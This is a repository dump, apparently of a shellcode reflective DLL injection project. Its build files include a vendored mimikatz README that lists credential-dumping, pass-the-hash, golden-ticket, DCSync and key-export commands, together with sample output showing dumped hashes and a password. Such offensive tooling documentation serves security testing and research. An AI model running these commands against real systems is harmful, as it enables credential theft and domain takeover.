131 | $FinalHash = $Add.Invoke($ModuleHash, $FunctionHash)
132 |
133 | # Write out the hexadecimal representation of the hash
134 | Write-Output "0x$($FinalHash.ToString('X8'))"
135 | }
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/README.md:
--------------------------------------------------------------------------------
1 | # mimikatz
2 |
3 | **`mimikatz`** is a tool I've made to learn `C` and make somes experiments with Windows security.
4 |
5 | It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **`mimikatz`** can also perform pass-the-hash, pass-the-ticket or build _Golden tickets_.
6 |
7 | ```
8 | .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
9 | .## ^ ##.
10 | ## / \ ## /* * *
11 | ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
12 | '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
13 | '#####' with 13 modules * * */
14 |
15 |
16 | mimikatz # privilege::debug
17 | Privilege '20' OK
18 |
19 | mimikatz # sekurlsa::logonpasswords
20 |
21 | Authentication Id : 0 ; 515764 (00000000:0007deb4)
22 | Session : Interactive from 2
23 | User Name : Gentil Kiwi
24 | Domain : vm-w7-ult-x
25 | SID : S-1-5-21-1982681256-1210654043-1600862990-1000
26 | msv :
27 | [00000003] Primary
28 | * Username : Gentil Kiwi
29 | * Domain : vm-w7-ult-x
30 | * LM : d0e9aee149655a6075e4540af1f22d3b
31 | * NTLM : cc36cf7a8514893efccd332446158b1a
32 | * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
33 | tspkg :
34 | * Username : Gentil Kiwi
35 | * Domain : vm-w7-ult-x
36 | * Password : waza1234/
37 | ...
38 | ```
39 | But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, _yes_).
40 |
41 | If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases
42 |
43 |
44 | ## Quick usage
45 | ```
46 | log
47 | privilege::debug
48 | ```
49 |
50 | ### sekurlsa
51 | ```
52 | sekurlsa::logonpasswords
53 | sekurlsa::tickets /export
54 |
55 | sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
56 | ```
57 |
58 | ### kerberos
59 | ```
60 | kerberos::list /export
61 | kerberos::ptt c:\chocolate.kirbi
62 |
63 | kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
64 | ```
65 |
66 | ### crypto
67 | ```
68 | crypto::capi
69 | crypto::cng
70 |
71 | crypto::certificates /export
72 | crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
73 |
74 | crypto::keys /export
75 | crypto::keys /machine /export
76 | ```
77 |
78 | ### vault & lsadump
79 | ```
80 | vault::cred
81 | vault::list
82 |
83 | token::elevate
84 | vault::cred
85 | vault::list
86 | lsadump::sam
87 | lsadump::secrets
88 | lsadump::cache
89 | token::revert
90 |
91 | lsadump::dcsync /user:domain\krbtgt /domain:lab.local
92 | ```
93 |
94 | ## Build
95 | `mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
96 | * for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914)
97 | * _for `mimikatz driver`, `mimilove` (and `ddk2003` platform) : Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800_
98 |
99 | `mimikatz` uses `SVN` for source control, but is now available with `GIT` too!
100 | You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)
101 |
102 | ### Synchronize!
103 | * GIT URL is : https://github.com/gentilkiwi/mimikatz.git
104 | * SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
105 | * ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip
106 |
107 | ### Build the solution
108 | * After opening the solution, `Build` / `Build Solution` (you can change architecture)
109 | * `mimikatz` is now built and ready to be used! (`Win32` / `x64`)
110 | * you can have error `MSB3073` about `_build_.cmd` and `mimidrv`, it's because the driver cannot be build without Windows Driver Kit **7.1** (WinDDK), but `mimikatz` and `mimilib` are OK.
111 |
112 | ### ddk2003
113 | With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)
114 |
115 | For this optional platform, Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio **2010** are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.
116 |
117 | Follow instructions:
118 | * http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
119 | * _http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader_
120 |
121 | ## Licence
122 | CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
123 |
124 | ## Author
125 | * Benjamin DELPY `gentilkiwi`, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
126 | * DCSync function in `lsadump` module was co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )
127 |
128 | This is a **personal** development, please respect its philosophy and don't use it for bad things!
--------------------------------------------------------------------------------
/ShellcodeRDI.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26430.16
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestDLL", "TestDLL\TestDLL.vcxproj", "{558D08E4-48B4-4E5F-94E5-5783CF0557C4}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DotNet", "DotNet\DotNet.csproj", "{FD50DEE9-91AB-4449-BA55-27C71098076B}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRDI", "ShellcodeRDI\ShellcodeRDI.vcxproj", "{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}"
11 | EndProject
12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Native", "Native\Native.vcxproj", "{68293519-3053-4AB6-921F-9690E2E1487F}"
13 | EndProject
14 | Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "Python", "Python\Python.pyproj", "{BE642266-F34D-43C3-B6E4-EEBF8E489519}"
15 | EndProject
16 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Converters", "Converters", "{F602BD8E-D2C2-4B04-85C6-292388CF1D83}"
17 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRDITest", "ShellcodeRDITest\ShellcodeRDITest.vcxproj", "{9373BB85-6D0B-4EBB-86DF-893BA1E70675}"
18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunctionTest", "FunctionTest\FunctionTest.vcxproj", "{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}"
19 | EndProject
20 | Global
21 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
22 | Debug|Win32 = Debug|Win32
23 | Debug|x64 = Debug|x64
24 | Release|Win32 = Release|Win32
25 | Release|x64 = Release|x64
26 | EndGlobalSection
27 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
28 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.ActiveCfg = Debug|Win32
29 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.Build.0 = Debug|Win32
30 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.ActiveCfg = Debug|x64
31 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.Build.0 = Debug|x64
32 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.ActiveCfg = Release|Win32
33 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.Build.0 = Release|Win32
34 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.ActiveCfg = Release|x64
35 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.Build.0 = Release|x64
36 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.ActiveCfg = Debug|Any CPU
37 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.Build.0 = Debug|Any CPU
38 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.ActiveCfg = Debug|Any CPU
39 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.Build.0 = Debug|Any CPU
40 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.ActiveCfg = Release|Any CPU
41 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.Build.0 = Release|Any CPU
42 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.ActiveCfg = Release|Any CPU
43 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.Build.0 = Release|Any CPU
44 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.ActiveCfg = Debug|Win32
45 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.Build.0 = Debug|Win32
46 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.ActiveCfg = Debug|x64
47 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.Build.0 = Debug|x64
48 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.ActiveCfg = Release|Win32
49 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.Build.0 = Release|Win32
50 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.ActiveCfg = Release|x64
51 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.Build.0 = Release|x64
52 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.ActiveCfg = Debug|Win32
53 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.Build.0 = Debug|Win32
54 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.ActiveCfg = Debug|x64
55 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.Build.0 = Debug|x64
56 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.ActiveCfg = Release|Win32
57 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.Build.0 = Release|Win32
58 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.ActiveCfg = Release|x64
59 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.Build.0 = Release|x64
60 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|Win32.ActiveCfg = Debug|Any CPU
61 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|x64.ActiveCfg = Debug|Any CPU
62 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|Win32.ActiveCfg = Release|Any CPU
63 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|x64.ActiveCfg = Release|Any CPU
64 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.ActiveCfg = Debug|Win32
65 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.Build.0 = Debug|Win32
66 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.ActiveCfg = Debug|x64
67 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.Build.0 = Debug|x64
68 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.ActiveCfg = Release|Win32
69 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.Build.0 = Release|Win32
70 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.ActiveCfg = Release|x64
71 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.Build.0 = Release|x64
72 | EndGlobalSection
73 | GlobalSection(SolutionProperties) = preSolution
74 | HideSolutionNode = FALSE
75 | EndGlobalSection
76 | GlobalSection(NestedProjects) = preSolution
77 | {FD50DEE9-91AB-4449-BA55-27C71098076B} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
78 | {68293519-3053-4AB6-921F-9690E2E1487F} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
79 | {BE642266-F34D-43C3-B6E4-EEBF8E489519} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83}
80 | EndGlobalSection
81 | EndGlobal
82 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.suo
8 | *.user
9 | *.userosscache
10 | *.sln.docstates
11 |
12 | # User-specific files (MonoDevelop/Xamarin Studio)
13 | *.userprefs
14 |
15 | # Build results
16 | [Dd]ebug/
17 | [Dd]ebugPublic/
18 | [Rr]elease/
19 | [Rr]eleases/
20 | x64/
21 | x86/
22 | bld/
23 | [Oo]bj/
24 | [Ll]og/
25 |
26 | # Visual Studio 2015 cache/options directory
27 | .vs/
28 | # Uncomment if you have tasks that create the project's static files in wwwroot
29 | #wwwroot/
30 |
31 | # MSTest test Results
32 | [Tt]est[Rr]esult*/
33 | [Bb]uild[Ll]og.*
34 |
35 | # NUNIT
36 | *.VisualState.xml
37 | TestResult.xml
38 |
39 | # Build Results of an ATL Project
40 | [Dd]ebugPS/
41 | [Rr]eleasePS/
42 | dlldata.c
43 |
44 | # .NET Core
45 | project.lock.json
46 | project.fragment.lock.json
47 | artifacts/
48 | **/Properties/launchSettings.json
49 |
50 | *_i.c
51 | *_p.c
52 | *_i.h
53 | *.ilk
54 | *.meta
55 | *.obj
56 | *.pch
57 | *.pdb
58 | *.pgc
59 | *.pgd
60 | *.rsp
61 | *.sbr
62 | *.tlb
63 | *.tli
64 | *.tlh
65 | *.tmp
66 | *.tmp_proj
67 | *.log
68 | *.vspscc
69 | *.vssscc
70 | .builds
71 | *.pidb
72 | *.svclog
73 | *.scc
74 |
75 | # Chutzpah Test files
76 | _Chutzpah*
77 |
78 | # Visual C++ cache files
79 | ipch/
80 | *.aps
81 | *.ncb
82 | *.opendb
83 | *.opensdf
84 | *.sdf
85 | *.cachefile
86 | *.VC.db
87 | *.VC.VC.opendb
88 |
89 | # Visual Studio profiler
90 | *.psess
91 | *.vsp
92 | *.vspx
93 | *.sap
94 |
95 | # TFS 2012 Local Workspace
96 | $tf/
97 |
98 | # Guidance Automation Toolkit
99 | *.gpState
100 |
101 | # ReSharper is a .NET coding add-in
102 | _ReSharper*/
103 | *.[Rr]e[Ss]harper
104 | *.DotSettings.user
105 |
106 | # JustCode is a .NET coding add-in
107 | .JustCode
108 |
109 | # TeamCity is a build add-in
110 | _TeamCity*
111 |
112 | # DotCover is a Code Coverage Tool
113 | *.dotCover
114 |
115 | # Visual Studio code coverage results
116 | *.coverage
117 | *.coveragexml
118 |
119 | # NCrunch
120 | _NCrunch_*
121 | .*crunch*.local.xml
122 | nCrunchTemp_*
123 |
124 | # MightyMoose
125 | *.mm.*
126 | AutoTest.Net/
127 |
128 | # Web workbench (sass)
129 | .sass-cache/
130 |
131 | # Installshield output folder
132 | [Ee]xpress/
133 |
134 | # DocProject is a documentation generator add-in
135 | DocProject/buildhelp/
136 | DocProject/Help/*.HxT
137 | DocProject/Help/*.HxC
138 | DocProject/Help/*.hhc
139 | DocProject/Help/*.hhk
140 | DocProject/Help/*.hhp
141 | DocProject/Help/Html2
142 | DocProject/Help/html
143 |
144 | # Click-Once directory
145 | publish/
146 |
147 | # Publish Web Output
148 | *.[Pp]ublish.xml
149 | *.azurePubxml
150 | # TODO: Comment the next line if you want to checkin your web deploy settings
151 | # but database connection strings (with potential passwords) will be unencrypted
152 | *.pubxml
153 | *.publishproj
154 |
155 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
156 | # checkin your Azure Web App publish settings, but sensitive information contained
157 | # in these scripts will be unencrypted
158 | PublishScripts/
159 |
160 | # NuGet Packages
161 | *.nupkg
162 | # The packages folder can be ignored because of Package Restore
163 | **/packages/*
164 | # except build/, which is used as an MSBuild target.
165 | !**/packages/build/
166 | # Uncomment if necessary however generally it will be regenerated when needed
167 | #!**/packages/repositories.config
168 | # NuGet v3's project.json files produces more ignorable files
169 | *.nuget.props
170 | *.nuget.targets
171 |
172 | # Microsoft Azure Build Output
173 | csx/
174 | *.build.csdef
175 |
176 | # Microsoft Azure Emulator
177 | ecf/
178 | rcf/
179 |
180 | # Windows Store app package directories and files
181 | AppPackages/
182 | BundleArtifacts/
183 | Package.StoreAssociation.xml
184 | _pkginfo.txt
185 |
186 | # Visual Studio cache files
187 | # files ending in .cache can be ignored
188 | *.[Cc]ache
189 | # but keep track of directories ending in .cache
190 | !*.[Cc]ache/
191 |
192 | # Others
193 | ClientBin/
194 | ~$*
195 | *~
196 | *.dbmdl
197 | *.dbproj.schemaview
198 | *.jfm
199 | *.pfx
200 | *.publishsettings
201 | orleans.codegen.cs
202 |
203 | # Since there are multiple workflows, uncomment next line to ignore bower_components
204 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
205 | #bower_components/
206 |
207 | # RIA/Silverlight projects
208 | Generated_Code/
209 |
210 | # Backup & report files from converting an old project file
211 | # to a newer Visual Studio version. Backup files are not needed,
212 | # because we have git ;-)
213 | _UpgradeReport_Files/
214 | Backup*/
215 | UpgradeLog*.XML
216 | UpgradeLog*.htm
217 |
218 | # SQL Server files
219 | *.mdf
220 | *.ldf
221 | *.ndf
222 |
223 | # Business Intelligence projects
224 | *.rdl.data
225 | *.bim.layout
226 | *.bim_*.settings
227 |
228 | # Microsoft Fakes
229 | FakesAssemblies/
230 |
231 | # GhostDoc plugin setting file
232 | *.GhostDoc.xml
233 |
234 | # Node.js Tools for Visual Studio
235 | .ntvs_analysis.dat
236 | node_modules/
237 |
238 | # Typescript v1 declaration files
239 | typings/
240 |
241 | # Visual Studio 6 build log
242 | *.plg
243 |
244 | # Visual Studio 6 workspace options file
245 | *.opt
246 |
247 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
248 | *.vbw
249 |
250 | # Visual Studio LightSwitch build output
251 | **/*.HTMLClient/GeneratedArtifacts
252 | **/*.DesktopClient/GeneratedArtifacts
253 | **/*.DesktopClient/ModelManifest.xml
254 | **/*.Server/GeneratedArtifacts
255 | **/*.Server/ModelManifest.xml
256 | _Pvt_Extensions
257 |
258 | # Paket dependency manager
259 | .paket/paket.exe
260 | paket-files/
261 |
262 | # FAKE - F# Make
263 | .fake/
264 |
265 | # JetBrains Rider
266 | .idea/
267 | *.sln.iml
268 |
269 | # CodeRush
270 | .cr/
271 |
272 | # Python Tools for Visual Studio (PTVS)
273 | __pycache__/
274 | *.pyc
275 |
276 | # Cake - Uncomment if you are using it
277 | # tools/**
278 | # !tools/packages.config
279 |
280 | # Telerik's JustMock configuration file
281 | *.jmconfig
282 |
283 | # BizTalk build output
284 | *.btp.cs
285 | *.btm.cs
286 | *.odx.cs
287 | *.xsd.cs
288 |
--------------------------------------------------------------------------------
/FunctionTest/FunctionTest.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}
24 | Win32Proj
25 | FunctionTest
26 | 10.0.15063.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v141
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v141
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v141
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v141
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | TESTING;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 |
93 |
94 | Console
95 |
96 |
97 |
98 |
99 |
100 |
101 | Level3
102 | Disabled
103 | TESTING;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 |
105 |
106 | Console
107 |
108 |
109 |
110 |
111 | Level3
112 |
113 |
114 | MaxSpeed
115 | true
116 | true
117 | TESTING;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 |
119 |
120 | Console
121 | true
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 |
129 |
130 | MaxSpeed
131 | true
132 | true
133 | TESTING;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
134 |
135 |
136 | Console
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/ShellcodeRDITest.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {9373BB85-6D0B-4EBB-86DF-893BA1E70675}
23 | Win32Proj
24 | ShellcodeRDITest
25 | 8.1
26 |
27 |
28 |
29 | Application
30 | true
31 | v140
32 | Unicode
33 |
34 |
35 | Application
36 | false
37 | v140
38 | true
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v140
45 | Unicode
46 |
47 |
48 | Application
49 | false
50 | v140
51 | true
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | true
74 |
75 |
76 | true
77 |
78 |
79 | false
80 |
81 |
82 | false
83 |
84 |
85 |
86 | NotUsing
87 | Level3
88 | Disabled
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 |
91 |
92 | Console
93 | true
94 |
95 |
96 |
97 |
98 | Use
99 | Level3
100 | Disabled
101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
102 |
103 |
104 | Console
105 | true
106 |
107 |
108 |
109 |
110 | Level3
111 | NotUsing
112 | MaxSpeed
113 | true
114 | true
115 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
116 |
117 |
118 | Console
119 | true
120 | true
121 | true
122 |
123 |
124 |
125 |
126 | Level3
127 | Use
128 | MaxSpeed
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 |
133 |
134 | Console
135 | true
136 | true
137 | true
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 | Create
153 | Create
154 | Create
155 | Create
156 |
157 |
158 |
159 |
160 |
161 |
--------------------------------------------------------------------------------
/Native/Native.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {68293519-3053-4AB6-921F-9690E2E1487F}
23 | Win32Proj
24 | RDIShellcodeCLoader
25 | 8.1
26 | Native
27 |
28 |
29 |
30 | Application
31 | true
32 | v140
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v140
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v140
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v140
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | MultiThreadedDebug
93 |
94 |
95 | Console
96 | true
97 |
98 |
99 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe"
100 |
101 |
102 |
103 |
104 |
105 |
106 | Level3
107 | Disabled
108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
109 | MultiThreadedDebug
110 |
111 |
112 | Console
113 | true
114 |
115 |
116 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe"
117 |
118 |
119 |
120 |
121 | Level3
122 |
123 |
124 | MaxSpeed
125 | true
126 | true
127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
128 |
129 |
130 | Console
131 | true
132 | true
133 | true
134 |
135 |
136 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe"
137 |
138 |
139 |
140 |
141 | Level3
142 |
143 |
144 | MaxSpeed
145 | true
146 | true
147 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
148 |
149 |
150 | Console
151 | true
152 | true
153 | true
154 |
155 |
156 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe"
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
--------------------------------------------------------------------------------
/TestDLL/TestDLL.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}
23 | Win32Proj
24 | TestDLL
25 | 8.1
26 |
27 |
28 |
29 | DynamicLibrary
30 | true
31 | v140
32 | Unicode
33 |
34 |
35 | DynamicLibrary
36 | false
37 | v140
38 | true
39 | Unicode
40 |
41 |
42 | DynamicLibrary
43 | true
44 | v140
45 | Unicode
46 |
47 |
48 | DynamicLibrary
49 | false
50 | v140
51 | true
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | true
74 |
75 |
76 | true
77 |
78 |
79 | false
80 |
81 |
82 | false
83 |
84 |
85 |
86 |
87 |
88 | Level3
89 | Disabled
90 | WIN32;_DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)
91 | MultiThreadedDebug
92 |
93 |
94 | Windows
95 | true
96 |
97 |
98 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll"
99 |
100 |
101 |
102 |
103 |
104 |
105 | Level3
106 | Disabled
107 | _DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)
108 | MultiThreadedDebug
109 |
110 |
111 | Windows
112 | true
113 |
114 |
115 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll"
116 |
117 |
118 |
119 |
120 | Level3
121 |
122 |
123 | MaxSpeed
124 | true
125 | true
126 | WIN32;NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)
127 | MultiThreaded
128 |
129 |
130 | Windows
131 | true
132 | true
133 | true
134 |
135 |
136 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll"
137 |
138 |
139 |
140 |
141 | Level3
142 |
143 |
144 | MaxSpeed
145 | true
146 | true
147 | NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)
148 | MultiThreaded
149 |
150 |
151 | Windows
152 | true
153 | true
154 | true
155 |
156 |
157 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll"
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 | false
170 |
171 |
172 | false
173 |
174 |
175 | false
176 |
177 |
178 | false
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
--------------------------------------------------------------------------------
/lib/PowerShell/Get-LibSymbols.ps1:
--------------------------------------------------------------------------------
1 | function Get-LibSymbols
2 | {
3 | <#
4 | .SYNOPSIS
5 |
6 | Displays symbolic information from Windows lib files.
7 |
8 | PowerSploit Function: Get-LibSymbols
9 | Author: Matthew Graeber (@mattifestation)
10 | License: BSD 3-Clause
11 | Required Dependencies: None
12 | Optional Dependencies: None
13 |
14 | .DESCRIPTION
15 |
16 | Get-LibSymbols parses and returns symbols in Windows .lib files
17 | in both decorated and undecorated form (for C++ functions).
18 |
19 | .PARAMETER Path
20 |
21 | Specifies a path to one or more lib file locations.
22 |
23 | .EXAMPLE
24 |
25 | C:\PS>Get-LibSymbols -Path msvcrt.lib
26 |
27 | .EXAMPLE
28 |
29 | C:\PS>ls *.lib | Get-LibSymbols
30 |
31 | .INPUTS
32 |
33 | System.String[]
34 |
